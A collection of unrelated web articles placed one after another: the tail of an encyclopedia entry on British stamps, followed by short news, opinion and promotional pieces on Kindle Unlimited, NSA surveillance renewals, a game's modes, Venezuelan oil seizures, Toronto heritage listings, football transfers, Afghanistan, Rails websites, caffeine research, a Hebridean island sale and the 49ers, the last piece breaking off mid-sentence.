Queen on a solid colour background, and very popular, still being the standard British stamp. They have been printed in scores of different colours; in addition, decimalisation required new denominations, and there have technical improvements in the printing process, resulting in literally hundreds of varieties known to specialists.  Today, the postage stamp is used in many countries and once colonies of Great Britain. Once colonised countries of Great Britain at one point all used the Penny Black portrait of Queen Victoria, such as Barbados, Nevis, Fiji, Trinidad, British Guiana, and India. Many formerly colonised countries still support a portrait of Queen Elizabeth, although some have branched out to stamps depicting scenery, birds or beasts.  Design trends of British stamps [ edit ]  Up to the 1950s, British commemorative stamps were few and far between; most of the stamps were definitive issues in which the portrait of the reigning monarch was the dominant element. Even after commemorative stamps began to appear more often during the 1950s and early 1960s, the monarch's effigy was prominent, usually taking up a quarter to a third of the stamp's design, which limited flexibility and creativity. A change came in 1965 when the then Postmaster General Tony Benn issued new criteria for what could appear on stamps. Designer David Gentleman wrote to Benn about alternative design approaches, suggesting the monarch's head be replaced by another national symbol, such as a Crown or the country name; "Great Britain" or "United Kingdom". A compromise, a small silhouette of the Queen based on the coinage head of Mary Gillick, was accepted and this has been the standard ever since for commemorative stamps.[12] When the monarch's portrait is part of the stamp's main design (as for example in the case of issues commemorating the Queen's birthday), then the silhouette is not needed and usually does not appear.  Another trend is the growing use of stamps to commemorate events related to the present Royal Family. Up to Elizabeth II's accession in 1952 the only commemorative stamps to have been issued related to royal events were for George V's Silver Jubilee in 1935, George VI's coronation in 1937, and a 1948 issue to commemorate George VI's 25th wedding anniversary. Since 1952, however, stamps have been issued to commemorate many royal occasions. In addition, memorial stamps have been issued after the deaths of Diana, Princess of Wales (in 1998) and Queen Elizabeth The Queen Mother (in 2002).  With regard to previous monarchs, stamps were issued in 1987 to mark the 150th anniversary of Queen Victoria's accession, and in 1997 to mark the 450th anniversary of King Henry VIII's death. From 2008 to 2011 stamps were issued featuring all of England's kings and queens and also the Scottish House of Stewart.[13]  Regional issues [ edit ]  Beginning in 1958, regional issues were introduced in the Channel Islands, the Isle of Man, Northern Ireland, Scotland, Wales.[14] While these issues are only sold at post offices in the respective countries, the Northern Irish, Scottish and Welsh issues are valid throughout the United Kingdom. The Channel Islands (since 1969) and Isle of Man (since 1973) now issue their own stamps which are not valid anywhere else.  British postal services abroad [ edit ]  The United Kingdom has introduced postal services throughout the world and has often made use of British definitives bearing local overprints.  See also [ edit ]  References [ edit ]  Selected further reading [ edit ]  General [ edit ]  Hamilton, Patrick. British Stamps: A description of the postage stamps of the United Kingdom . London: Peter Davies, 1948 338p. (Supplement in 1954; 75p.)  . London: Peter Davies, 1948 338p. (Supplement in 1954; 75p.) Lowe, Robson. British Postage Stamps of the 19th Century . London: National Postal Museum, 1st ed. 1968, 2nd ed. 1979.  . London: National Postal Museum, 1st ed. 1968, 2nd ed. 1979. Lowe, Robson. The Encyclopaedia of British Empire Postage Stamps: Vol. 1, Great Britain and the Empire in Europe . London: Robson Lowe, 1952 456p.  . London: Robson Lowe, 1952 456p. Mackay, James. British Stamps . London: Longman, 1985 ISBN 0-582-40620-X, 247p.  . London: Longman, 1985 ISBN 0-582-40620-X, 247p. Mackay, James A. Under the Gum – Background to British Stamps 1840–1940 . Limassol: James Bendon, 1997 ISBN 9963-579-76-0, 536p.  . Limassol: James Bendon, 1997 ISBN 9963-579-76-0, 536p. Oliver, Sidney and F. Hugh Vallancey. The Postage Stamps of Great Britain, 1840–1922 . London: "Stamp Collecting", 1923, 563p.  . London: "Stamp Collecting", 1923, 563p. Rose, Stuart. Royal Mail Stamps: A Survey of British Stamp Design . Oxford: Phaidon, 1980 ISBN 0-7148-2072-5, 128p.  . Oxford: Phaidon, 1980 ISBN 0-7148-2072-5, 128p. Todd, T. A History of British Postage Stamps . London: Duckworth, 1949, 274p.  . London: Duckworth, 1949, 274p. Wijman, J.J. Postage Stamps of Great Britain and their history . Nuenen: Jeeboer Press, 1986 ISBN 9071622010, 396p.  . Nuenen: Jeeboer Press, 1986 ISBN 9071622010, 396p. Williams, L.N. & M. Commemorative Postage Stamps of Great Britain. London: Arco, 1967, 206p.  Queen Victoria and King Edward VII [ edit ]  Beaumont, K.M. and John Easton. The Postage Stamps of Great Britain. Part 3, The embossed issues; The surface-printed issues of Queen Victoria and King Edward VII . London: Royal Philatelic Society, 1964, 344p.  . London: Royal Philatelic Society, 1964, 344p. Seymour, J.B. and Clive Gardiner-Hill. The Postage Stamps of Great Britain: Part 1, Introduction to the line-engraved issues: the imperforate line-engraved issues, 1840–1853 . London: Royal Philatelic Society, 1967, 336p.  . London: Royal Philatelic Society, 1967, 336p. Wiggins, W.R.D. The Postage Stamps of Great Britain: Part 2, The Perforated Line-Engraved Issues. London: Royal Philatelic Society, 1962, 220p.  King George V [ edit ]  Beaumont, K.M. and J.B.M. Stanton. The Postage Stamps of Great Britain. Part 4, The Issues of King George V . London: Royal Philatelic Society, 1957, 248p.  . London: Royal Philatelic Society, 1957, 248p. Muir, Douglas N. George V and The G.P.O.: Stamps, Conflict & Creativity . London: British Postal Museum & Archive, 2010 ISBN 978-0-9553569-2-6, 275p.  . London: British Postal Museum & Archive, 2010 ISBN 978-0-9553569-2-6, 275p. Phillips, Stanley. The Stamps of Great Britain, 1911–21. London: Stanley Gibbons, 1921, 105p.  King Edward VIII [ edit ]  Kirk, A.J. King Edward VIII: a study of the stamps of the reign of King Edward VIII. Leigh-on-Sea: G.B. Philatelic Publications Ltd for the Great Britain Philatelic Society, 1974 ISBN 0-9015121-1-7, 31p.  King George VI [ edit ]  Worsfold, Peter. Great Britain King George VI Low Value Definitive Stamps: An illustrated study of the development of their design. London: GBPS, 2001 ISBN 0-9076301-7-0, 40p.  Queen Elizabeth II [ edit ]  Potter, David. British Elizabethan Stamps: The Story of the Postage Stamps of the United Kingdom, Guernsey, Jersey and the Isle of Man, from 1952 to 1970. London: Batsford, 1971 ISBN 0-71340-381-0, 190p.  Postage dues [ edit ]  Furfie, Michael. British Postage Due Mail, 1914 – 1971: a study of uses of the pre-decimal postage due stamps. Ashford: The Author, 1993 ISBN 0-9522208-0-6, 74p.  Postmarks [ edit ]  Alcock, R.C. and F.C. Holland. British Postmarks: A Short History and Guide . Cheltenham: R. C. Alcock, 1960, 299p.  . Cheltenham: R. C. Alcock, 1960, 299p. Hendy, John G. The History of the Postmarks of the British Isles from 1840–1876 . London: Stanley Gibbons, 1909, 184p.  . London: Stanley Gibbons, 1909, 184p. Pearson, George R. Special Event Postmarks of the United Kingdom . Hemel Hempstead: British Postmark Society, 1984 ISBN 0-9002140-1-5, 276p.  . Hemel Hempstead: British Postmark Society, 1984 ISBN 0-9002140-1-5, 276p. Whitney, J.T. Collect British Postmarks . Benfleet, 1990.  . Benfleet, 1990. British Postmark Database  Postal stationery [ edit ]  Huggins, Alan. British Postal Stationery . London: Great Britain Philatelic Society, 1971 188p.  . London: Great Britain Philatelic Society, 1971 188p. Huggins, Alan and Colin Baker. Collect British Postal Stationery: A Simplified Listing of British Postal Stationery 1840 to 2007. GB Philatelic Publications, 2007 ISBN 978-0-907630-22-7, 151p.  Postal history [ edit ]  Campbell-Smith, Duncan. Masters of the Post: The Authorized History of the Royal Mail . London: Penguin, 2012 ISBN 978-0-2-4195766-0, 849p.  . London: Penguin, 2012 ISBN 978-0-2-4195766-0, 849p. John Bartholomew and Son. Postal History Map of Britain: an illustrated map in full colour with a border of postage stamps . Edinburgh: John Bartholomew & Son, 1970?  . Edinburgh: John Bartholomew & Son, 1970? Marshall, C. F. Dendy. The British Post Office from its beginnings to the end of 1925 . London: Humphrey Milford, Oxford University Press, 1926, 354p.  . London: Humphrey Milford, Oxford University Press, 1926, 354p. Robinson, Howard. The British Post Office: A History. Princeton: Princeton University Press, 1948, 467p.  Bibliography [ edit ]
-Once upon a time, 12 years ago to be precise, David Bowie said something very perceptive. "Music itself is going to become like running water or electricity," he told a New York Times reporter. "So it's like, just take advantage of these last few years because none of this is ever going to happen again. You'd better be prepared for doing a lot of touring because that's really the only unique situation that's going to be left. It's terribly exciting. But on the other hand it doesn't matter if you think it's exciting or not; it's what's going to happen."  I thought of Bowie and his perceptiveness last week, when – in a rare piece of corporate carelessness – Amazon inadvertently provided a fleeting glimpse of what it has in store for the publishing industry. A new page appeared on its website only to be very quickly withdrawn, but not before it had been cached by Google and spotted by a hacker website.  What was on this elusive page? Why, nothing more or less than an introduction to a new service called "Kindle Unlimited". Subscribers will be invited to "enjoy unlimited access to over 600,000 titles and thousands of audiobooks on any device for just $9.99 a month". One commentator described it as "Netflix for books". David Bowie would doubtless have said that it's the turn of books to become like running water or electricity.  Bowie was perceptive because he understood early the implications of ubiquitous connectivity. When Apple first cracked the problem of selling music tracks online, people collected the tracks in little electronic containers called iPods and carried them around, much as tourists in undeveloped countries carried personal supplies of clean water in bottles. But once safe piped water became readily available, the importance of having one's own bottle declined. The same thing happened with online music, which is why we now have services such as Spotify into which subscribers can tap whenever they please (and have a network connection).  Kindle Unlimited is based on exactly the same logic. Indeed, it's extraordinary how closely it adheres to the original Apple template: the Kindle e-reader is the equivalent of the iPod; and the Kindle store is the counterpart of the iTunes one. The difference is that Amazon is already working on the next move – making the transition from selling discrete units to streaming – with which Apple has struggled (and which explains why Apple bought Beats – not for its daft headphones but for its streaming music service).  Amazon's move will be as discombobulating for the book publishing industry as the advent of Spotify was for the music industry. Stand by, therefore, for howls of protest from publishers and authors on how streaming produces infinitesimal royalties compared with the old publishing paradigm. All true, and a reminder of Joseph Schumpeter's conception of the waves of "creative destruction" with which capitalism renews itself. Each wave has two dimensions: a creative one in which new possibilities, industries and business models emerge; and a destructive one in which old ways of doing things (including things that were genuinely valuable) are destroyed.  The analogy between the Kindle and the iPod is instructive in other ways too. Amazon's device came with networking built-in from the beginning, whereas the iPod relied initially on a physical connection to a laptop or desktop machine for its connection to the online store. And the connectivity of the Kindle has led to some interesting side-effects. Obviously, users can highlight and annotate passages as they read; but if they so choose they can also opt to see what passages other readers have highlighted, which means that one has the strange sensation of seeing what other people regard as interesting or important in the book one is reading.  That's not necessarily great news. Your networked Kindle tells Amazon where you've got to in each book. This is so that if you switch to, say, the Kindle app on your smartphone, you can pick up exactly where you left off. But this also means that Amazon knows not only what you're reading, but even where you've got to. So anonymous reading goes out of the window. And this has led to some ingenious attempts to spot the most unread bestsellers de nos jours [unitalics]. One commentator, for example, claims that Thomas Piketty's Capital in the 21st Century currently holds that title. But since his gleeful article appears in the Wall Street Journal, the Mandy Rice-Davies qualification applies. He would say that, wouldn't he?
-Nine months after the president promised to rein in the NSA’s spying powers, the business of reform is delayed for 90 days -- again. By Dustin Volz  In the face of congressional inaction, a federal court Friday renewed an order allowing the government to collect phone records on virtually all calls within the United States.  The Foreign Intelligence Surveillance Court approved the Justice Department’s request for another 90-day extension of the National Security Agency’s controversial mass-surveillance program, exposed publicly last summer by Edward Snowden and authorized under Section 215 of the post-9/11 Patriot Act. The spying authority is next set to expire on Dec. 5.  “Given that legislation has not yet been enacted, and given the importance of maintaining the capabilities of the Section 215 telephony metadata program, the government has sought a 90-day reauthorization of the existing program, as modified by the changes the president announced in January,” the Justice Department and Office of the Director of National Intelligence said in a joint statement.  The extension marks the third of its kind since President Obama pledged in January to reform how the NSA spies on Americans during a major policy speech delivered amid withering scrutiny of the nation’s intelligence-gathering practices. Obama outlined a series of immediate steps to reform government surveillance and boost transparency, but noted he would wait for Congress to deliver him a bill before ending the bulk collection of U.S. call data.  At the time, Obama said he had asked Attorney General Eric Holder and the intelligence community to devise “options for a new approach” for phone-records surveillance “before the program comes up for reauthorization on March 28.” The president added that “during this period, I will consult with the relevant committees in Congress to seek their views and then seek congressional authorization for the new program, as needed.”  But attempts at NSA reform on Capitol Hill this year have been slow going. And in the absence of legislation, the courts have now renewed the collection of telephone metadata—the numbers and time stamps of calls but not their actual contents—in March, June, and now September.  Republicans have claimed throughout the year that Obama has overstepped the constitutional bounds of his office, a charge that has even brought a lawsuit from the House of Representatives. But NSA critics have urged Obama to not wait for Congress and simply let the phone-records program lapse. In June, more than two dozen privacy groups sent the president a letter asking him to not renew the program, a decision they said was “solely within the authority of the Department of Justice.”  In July, Senate Judiciary Committee Chairman Patrick Leahy introduced the USA Freedom Act, which would effectively end the government’s collection and storage of phone metadata and instead require phone companies to retain those records, which intelligence agencies could obtain only after earning court approval for their queries. The measure is a more ambitious proposal of a version of the bill that passed the House in May, and it has accrued support from tech companies, privacy groups, the administration, and Director of National Intelligence James Clapper.  “Congress must ensure that this is the last time the government requests and the court approves the bulk collection of Americans’ records,” Leahy said in a statement. “This announcement underscores, once again, that it is time for Congress to enact meaningful reforms to protect individual privacy.”  In their joint statement, the Justice Department and Office of the Director of National Intelligence endorsed the House version of the USA Freedom Act, noting that “it reflects a reasonable compromise that preserves essential intelligence community capabilities, enhances privacy and civil liberties, and increases transparency.” The statement did not directly comment on Leahy’s package.  Despite the wide breadth of support for the Freedom Act, the bill is unlikely to earn a vote in the Senate before the midterm elections, and it could be tabled until next year.
-Hello backers and people-trying-to-decide-about-backing (do it, Reflex is brilliant).  First of all, we just want to thank everyone for the huge amount of support and excitement there has been about Reflex. We've put a lot of time and money into the game and it's been amazing to see people just as keen as we are to see it happen. Please keep spreading the word and together we can make Reflex a reality!  For today's update, we thought we would give you all a quick overview of (just some) of the game modes we've got planned.  Duel - "A prearranged contest with deadly weapons between two people in order to settle a point of honor". With no one to carry, duel in Reflex is the ultimate test of your timing, movement, aim, positioning and item control. Luck will not save you and the best player always wins.  Deathmatch - One of the most chaotic (but extremely fun) modes. You will be thrown into an arena with between 3-11 hostile players. Shoot anything that moves and gain an advantage with one (or more!) of the 6 planned powerups. The winner is whoever can hit the frag limit first.  Team Deathmatch - A mode all about teamwork and item control. The strongest team will be the one that keeps the tightest hold of key items such as armors and powerups. Our development focus for this mode is to reward intelligent teamplay, making it more than just "Don't shoot the blue guys".  Capture The Flag - Get in to the enemy base, grab their flag, get it back to your base. Would be easy if there weren't people trying to kill you. Attacking players will find the most advantage through their mastery of the movement while defending players will benefit from precise aim and good control of their bases resources. Sudden death CTF overtimes are the closest I've come to a game induced heart attack.  Arena - A round based mode in which players spawn with all weapons and good armor, ditching control and timing for 100% combat. This mode can be played either as 1v1 or with as many team members as you can cram into a map. The victor will be the team with the fastest reflexes, tightest aim and best sense of fight or flight.  Control - Gain points by taking (and holding!) key areas. The more control points you hold, the faster your teams score will increase (but the thinner you spread your defenses). Grab some items and gank an enemy point of fight off a constant barrage of players who dare attack your point.  Flag Control - A violent game of hide and seek. Players spawn in an arena with a single flag and gain points for as long as they can hold on to it (without being turned into giblets). If you've ever participated in an extended fight over a powerup, this is that, all match.  Race - The mode of choice for pacifists. Compete with other players to set the fastest time through an obstacle course full of trick jumps. A good place to hone your movement skills and maybe one day claim a new world record time.  Juggernaut - A team must work together to take down a single, highly buffed opponent. Manage to take down the juggernaut and you will become the juggernaut (and can then enjoy the immense satisfaction of repeatedly stomping an entire enemy team all by yourself)  Freeze Tag - Players are frozen instead of fragged and points are gained by icing all members of the opposing team. Players can thaw out their team mates to prevent the other team scoring. This adds an interesting twist to the game, requiring players to respawn their friends and carefully guard enemy icicles.  Midair - A classic mode for quick, low pressure games. Players are thrown in to a small arena armed only with a rocket launcher. Points are only awarded by turning airborne targets into a shower of sparks, oil and robot chunks. Fun, extremely satisfying and good training for frag-film quality aim.  We've got a few more modes all planned out but these are the ones you can expect to see making their way into the Prototype builds. Whatever your skill level or play style, Reflex is going to have something fun, violent and generally awesome for you!  Want more Reflex?
-* Venezuela seizes big oil project from U.S. company  * Sends troops to take boatyards in oil heartland  * Opens door to takeovers of major oil contractors (Recasts, adds Williams response, details on Wood Group contract, protesters wounded)  By Daniela Garcia  CIUDAD OJEDA, Venezuela, May 8 (Reuters) - Venezuelan President Hugo Chavez sent troops to seize oil service companies on Friday, tightening his grip on the oil industry as low crude prices pinch the OPEC nation’s finances.  Chavez is a socialist and former soldier who has already nationalized large chunks of the OPEC nation’s economy, including most of the energy sector and telecommunications companies.  Williams Companies (WMB.N) said the government seized two natural gas facilities in eastern Venezuela after building up millions of dollars in debts for services, adding it could demand payment through international arbitration.  Military vehicles rolled through the streets of Ciudad Ojeda, on the shores of oil heartland Lake Maracaibo, where the government seized hundreds of boats and shipyards after Chavez signed a law to nationalize a group of oil service companies.  “We have started to nationalize all these activities connected to oil exploitation,” Chavez said from a confiscated boat sailing across the lake. “This is a revolutionary offensive.”  Williams said the government took over the El Furrial and PIGAP II gas compression facilities, which are crucial for boosting the production of fields that produce Venezuela’s most valuable crude.  Flush with cash amid an oil boom, the president in 2007 nationalized oil projects worth billions of dollars, leading oil giants Exxon Mobil (XOM.N) and ConocoPhillips (COP.N) to quit the nation and sue for compensation.  Crude revenues have fallen in recent months and Chavez is now moving against smaller service companies the government has struggled to pay. The new law gives the government the option to pay compensation in bonds rather than cash.  NEW TAKEOVERS  The move could lead to further declines in oil production by risking slowdowns in key services following years of underinvestment by state-owned oil company PDVSA, which bankrolls the social programs that keep Chavez popular after a decade in office.  The law makes it easier for the government to later seize assets owned by service giants such as Halliburton (HAL.N) and Schlumberger (SLB.N) as PDVSA builds up billions of dollars in debts with contractors.  It appears to be targeted at specific service companies that have been hampered by severe cash flow problems due to lack of payment by PDVSA, which as of last year owed at least $8 billion to contractors and providers.  Chavez told hundreds of oil workers dressed in the red shirts that identify his supporters that the takeovers included a water injection project part-owned by British company John Wood Group (WG.L).  Six people demonstrating near Maracaibo, across the lake from Chavez’s rally, suffered gunshot wounds when an unidentified gunmen fired on them, the investigative police in Maracaibo said.  Wood Group (WG.L) said on Friday it was in a strong position to extract compensation for the loss of its 49.5 percent interest in a 16-year, $800 million contract in Lake Maracaibo.  According to Williams’ filings with the U.S. Securities and Exchange Commission, it has three gas compressor facilities in Venezuela with a net book value of $324 million.  Oil Minister Rafael Ramirez said the facilities help PDVSA pump 500,000 barrels of crude per day from Venezuela’s best quality fields in the eastern state of Monagas.  Other oil service companies in Venezuela include Baker Hughes BHI.N and BJ Services (BJS.N).  (For a factbox on Chavez nationalizations, please click on [ID:nN08526556])
-The city is taking an unprecedented step to give more than 250 midtown Toronto properties heritage status in one fell swoop, a move that's taking some owners by surprise.  The Toronto Preservation Board voted unanimously to approve the first phase of its "Midtown in Focus" plan, which adds 258 properties on Yonge Street, Eglinton and Bayview Avenues and Mount Pleasant Road to its heritage register.  The plan still has to be approved by city council, but Coun. Josh Matlow says he's confident it will pass, something that could maintain many of the low-slung brick buildings that line those streets. The full list of buildings can be found here.  "The majority of councillors recognize that Toronto has a shameful legacy when it comes to heritage preservation," Matlow told CBC Toronto.  "Far too many architecturally or culturally important properties have been lost to the wrecking ball."  This is going to change things dramatically. - Coun. Kristyn Wong-Tam  The city has been stung by the loss of at least two century-old buildings — including an old Bank of Montreal branch and the former Stollerys building — in recent years. Without heritage protection, developers could easily get a demolition permit from the city.  If the buildings are added to the heritage register, the city would get at least 60 days to potentially block future demolitions.  Matlow said the city is moving quickly and, until now, quietly to protect the buildings so property owners don't try to get rid of them before the new rules take effect.  Workers demolish the facade of the Stollerys building at Yonge and Bloor. (CBC)  Owners, developers flag concerns  While several neighbourhood groups are applauding the move, others are voicing concern.  BILD, the home builders' association with some 1,450 member companies, said in a letter to the preservation board that it was surprised by the city's approach, especially given the limited information it received about the change.  "The city's own report acknowledges that this large number of properties being added to the heritage register at one time is unprecedented," BILD's senior manager of policy and government relations, Danielle Chin, wrote to the board.  "Change of this magnitude should always trigger an industry consultation meeting."  Jack Winberg, the president and CEO of developer Rockport, which controls four properties on the list, expressed similar shock in his letter to the board.  "We did not receive any notice of this report or the intent to list our building as having heritage, contextual or cultural value; we are not of the view that it has any," he wrote.  City council gets final say  At Thursday's meeting, architect Michael McClelland said while he supports a city-wide survey of heritage properties, he's alarmed by the city's aggressive stance, suggesting it should find a way to do more consultation with owners.  McClelland also questioned whether or not many of the buildings would qualify for full heritage protection, suggesting while they're "good, stable" structures, they may not meet the full criteria.  Coun. Kristyn Wong-Tam, who sits on the board, asked the same question to staff, and was told in response it would definitely allow city staff to move faster to block demolitions.  Wong-Tam says she believes the city will need to do some work to educate the public about its new approach to protecting batches of buildings at a time.  "This is going to change things dramatically," she said.  City council will vote on the matter at an upcoming meeting.
-• Brendan Rodgers could be tempted by £9m plus Dempsey • Fulham sign Hugo Rodallega on free transfer from Wigan  Fulham hope to use Liverpool's interest in Clint Dempsey to drive an audacious swap deal for Andy Carroll, which would feature a cash adjustment, as they also completed the free transfer of Hugo Rodallega from Wigan Athletic.  Dempsey, who scored 23 goals in all competitions last season, has 12 months to run on his Fulham contract and he is keen to move to a bigger club. Brendan Rodgers, the Liverpool manager, appears prepared to let Carroll go and the striker has also attracted the interest of West Ham United and Newcastle United, his former club.  Fulham would have to give Liverpool around £9m on top of Dempsey, but the deal for Rodallega, who has signed a three-year contract, has strengthened their options following the departures of Andy Johnson and Pavel Pogrebnyak.
-War is terrible, but sometimes it is necessary. Which is why Germany needs to stay the course in Afghanistan.  The number of casualties in Afghanistan is growing, and so is the number of Germans against the war. Although more and more Germans are calling for their troops to be withdrawn from Afghanistan, to do so would be wrong.  The fact that a majority of Germans are against the war is hardly surprising. Who, after all, is an enthusiastic advocate for war? And the fact that the majority is against something isn't much of an argument, either. The majority of Germans were against expanding the EU, and the majority oppose financial aid for Greece. Nevertheless, both are still sensible courses of action.  There is one thing, at least, that everyone can agree on - war is terrible. It's dirty, it kills and it maims - and it can turn people into killing machines. War should only be viewed as a last resort. But sometimes - as in the case of Afghanistan - it is necessary. Much is at stake, even if it is not primarily about democracy and human rights. Those values are in danger in many countries, and Germany doesn't send in its soldiers there. German Chancellor Angela Merkel acknowledged this herself with remarkable candor in a speech she delivered before the Bundestag, Germany's lower house of parliament.  Eating, Drinking and Dying Together  The primary goal of the war is to create stability in Afghanistan and to prevent the country from once again becoming a retreat for terrorists, which would further destabilize the entire region. That is the West's interest in this war, and it's a goal that justifies the victims who have been lost there. No one can guarantee that the West will achieve its goal in Afghanistan. But one thing can be said for certain: This is the wrong moment to pull out. For the first time since the Taliban fell in 2001, the coalition has a coherent strategy for Afghanistan. The plan is to fight the Taliban on its own turf and on a massive scale. At the same time, NATO wants to give a boost to the process of civil development by protecting the population more.  As one American colonel put it, the basis of the strategy is that Western soldiers should "eat, drink and die" alongside their Afghan colleagues. Rather than staying holed up in their fortified camps, they should go out into the villages and help build up local infrastructure. In doing so, the soldiers may become targets. And though it may be a dangerous strategy, it's one that might actually work.  In Iraq, the United States showed it was possible to turn around what looked like a hopeless situation. It did this by adapting its approach to realities in the country. Of course, there's no guarantee that the same approach will work in Afghanistan. But there's too much at stake not to give it a try. And it would be negligent to declare that the strategy has failed before it has even been implemented.  Indeed, even if the West succeeds, the results won't be especially pleasant. It will be necessary to come to terms with the Taliban, and there may well be war criminals among the country's new rulers. Of course, it's hard to communicate these realities to people. But the ability to explain uncomfortable truths is what distinguishes a statesman from a politician.  Would Withdrawal Really Stop the Bloodshed?  Seen in this light, what alternatives do we have? Leaving Afghanistan wouldn't put an end to the bloodshed. On the contrary, the country's civil war would break out again in full force. And the people most targeted for revenge and retaliation would be precisely those who had trusted in NATO to see its mission through to the end. It hardly bears imagining what that would mean for Pakistan, for the entire region and for the global war against terror.  Those demanding that German forces be withdrawn from Afghanistan are also aware of this reality. That's why their calls are only half-hearted. And that's why they say that, even if we do withdraw, we shouldn't do it too hurriedly and that it should be orderly. But what exactly does that mean? If we are giving up on the entire mission anyway, we shouldn't endanger our soldiers' lives for a single moment longer. If we are going to abandon Afghanistan, we should do so immediately. Anything else would be sheer cynicism.  It's hard to get rid of the gnawing suspicion that there is a different motive behind the opposition to this war. After instigating the worst war in world history, Germany spent four decades trying to be the world's most peaceful country. War was something to be left to others, we thought, and we Germans had learned our lesson.  But now it's becoming apparent that things might not be quite so simple. If you want to stop people who are both trying to kill and unafraid of dying, chances are that you won't remain untainted yourself. That might be hard to swallow, but it's still the truth.
-If you're still hesitating if RoR is the best choice for you, here are top 10 famous websites built with Ruby on Rails. Feel inspired!  If you’re still hesitating if RoR is the best choice for you, here are top 10 famous websites built with Ruby on Rails. Feel inspired!  1 - Twitter (in its early days)  We’re putting Twitter on our list as it was originally built with Ruby on Rails in 2006. With the growth of its popularity, after five years, founders have switched from RoR to Java server.  I guess there’s no need to introduce ;-)  3 - Yellow pages  Famous book with business directories and telephones stepped into the virtual world, known as the Internet Yellow Pages or IYP. Ruby on Rails based website, the biggest one that IT&T runs.  4 - Hulu  Add-supported online video service, a favorite site of almost every Family Guy fan. Founded in 2007, offers a wide selection of TV shows, etc. Sort of free TV on your computer.  5 - Slideshare  E-learning platform that allows you to upload and share presentations. Created in 2006, it took only one year to hit 3 million unique visitors. Impressing one.  6 - Github  Our favorite. Social network platform for developers. Essential tool for every code lover. The most popular code hosting service in the world with over 9 million users and 21.1 million repositories. (in 2015)  7 - Shopify  E-commerce shop that allows users to build an online store. Necessity is the mother of invention - it was created in 2004 by Tobias Lütke, Daniel Weinand, and Scott Lake as the already existing e-commerce sites were unsatisfying.  8 - Groupon  Well known to every bargain hunter. The website which main idea is to offer coupons for deals to its local or international subscribers. Launched in 2008 in US, quickly spread and gained popularity, all over the world.  9 - Urban Dictionary  Crowdsourced online dictionary of slang, founded in 1999 and powered by Ruby on Rails. The must-visit website for contemporary human-being ever called ‘nerd’.  10 - AirBnb  A web service for everyone who want to rent a holiday accommodation. Founded in 2008, it connects hosts and travellers all over the world.  Impressed? So how about staying behind such tech success by yourself?  Join our series of free tutorials and learn how to make your own SaaS application in a full-stack, easy-to-approach Rails framework.  Rails Rocks!  Photo by: gratisography.com
-LISBON, Portugal, May 17 (UPI) -- Caffeine may slow Alzheimer's disease and other dementias, researchers in Portugal said.  Alexandre de Mendonca of the University of Lisbon and Rodrigo Cunha of the University of Coimbra, both in Portugal, assembled a group of international experts to explore the effects of caffeine on the brain from multiple perspectives.  The collection of epidemiological and other studies corroborated by meta-analysis have been published as a special supplement in the Journal of Alzheimer's Disease.  "A few epidemiological studies showed that the consumption of moderate amounts of caffeine was inversely associated with the cognitive decline associated with aging as well as the incidence of Alzheimer's disease," Mendonca and Cunha said in a statement. "This was paralleled by animal studies showing that chronic caffeine administration prevented memory deterioration and neurodegeneration in animal models of aging and of Alzheimer's disease."  Mendonca and Cunha have observed one of the most prevalent complications of Alzheimer's disease is mood change -- especially depression -- and they suggest caffeine might be a mood normalizer.
-Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  A REMOTE island in the Outer Hebrides made famous by the BBC`s Castaway programme has been sold.  Taransay, on the market for two weeks, was bought for an undisclosed sum by an anonymous buyer.  The island, which was used for the hit TV series, had a price tag of at least £2 million.  TV presenter Ben Fogle was among those who expressed an interest in buying the island. He became a household name when he roamed the rugged island with his dog on the BBC show 11 years ago.  A spokesman for estate agents CKD Galbraith said the new owner does not plan to change the way the island is used and managed.  John Bound said: "Given its exceptional beauty and outstanding setting, it was no surprise that Taransay attracted so much interest and that it has been sold in less than two weeks. The existing owners know the purchaser and all involved are delighted with the outcome, and the island passes into safe hands.  "There will no doubt be a number of disappointed parties who would have liked to bid but it is fitting that Taransay is now in the new ownership of somebody closely acquainted to the area who will preserve the current management of the island."  Taransay covers 3,445 acres and is wholly owned. It has a recently refurbished traditional farmhouse and old school chalet, as well as a bothy which provides holiday accommodation.  The island also has trout and sea fishing, as well as sustainable deer stalking.  Inhabited until 1974 when the last family left, Taransay is now used to graze sheep. The island has had a colourful history. Being the home of Celtic pagans in 300AD, it was the site of several fierce battles and invasions, such as the Massacre of Taransay in 1544 when the Morrisons of Lewis invaded.
-(01-18) 22:16 PST — In their second NFL seasons, 49ers quarterback Alex Smith had more yards, touchdowns and a higher quarterback rating than did Hall of Famer Troy Aikman.  After their second year in the league, however, circumstances changed dramatically for Smith and Aikman. And their divergent paths involved the same assistant coach.  In Aikman’s case, the Cowboys hired Norv Turner as their offensive coordinator in 1991, and the struggling QB began a three-year run with Turner that included three Pro Bowls and two Super Bowl titles. For Smith, who prospered under Turner’s guidance in 2006, his career began a steep descent after his offensive coordinator left San Francisco to become the Chargers’ head coach.  Five years, three head coaches and five offensive coordinators later, Smith is on the doorstep of the Super Bowl and Aikman, a Fox analyst, will be in the broadcast booth Sunday when the Niners host the Giants in the NFC Championship Game at Candlestick Park.  Thanks to their shared relationship with Turner, now the Chargers’ head coach, Aikman knows better than most how Smith’s career trajectory could have been far different before 2011.  “Absolutely it could have been,” said Aikman, who threw 20 touchdowns, 36 interceptions and had a 7-19 record as a starter in his first two seasons. “Absolutely. I know what Norv does for a quarterback and I know what he meant to my career. …  “That’s a big part of it is having a guy who really understands offense who is able to put you in the right position. Unfortunately for Alex, Norv was just there one season and then he moved on. You know, Brett Favre ran the same offense for 35 years or however long it was. There’s something to be said for that.”  Aikman noted that Smith’s counterpart Sunday, the Giants’ Eli Manning, has had far more stability during his eight-year career. Tom Coughlin has been Manning’s only head coach. New York’s fifth-year offensive coordinator, Kevin Gilbride, was Manning’s position coach in his first three seasons.  For Smith, well, it’s better late than never. His career has been resurrected thanks to the guidance of head coach Jim Harbaugh, who had a 15-year career as a quarterback in the NFL.  “Norv just understood,” Aikman said. “He played (quarterback) in college, but without having played in the pros, he understood what that guy under center was dealing with. That’s Jim Harbaugh and how he’s been helpful to Alex in that regard. He’s a head coach who played the position and knows how difficult the position is with the expectations and challenges.”  Aikman expects Smith to continue improving under Harbaugh, noting Smith is only 27. However, he doesn’t expect Smith to ever put up gaudy numbers in Harbaugh’s offense, which leans heavily on the ground game.  Smith ranked 17th in the NFL in touchdowns (17) this season and 19th in yards (3,144). Aikman can relate. On offenses headlined by running back Emmitt Smith, he did not have a 4,000-yard season and threw for more than 19 touchdowns once in his 12-year career.  Aikman realized early that his career 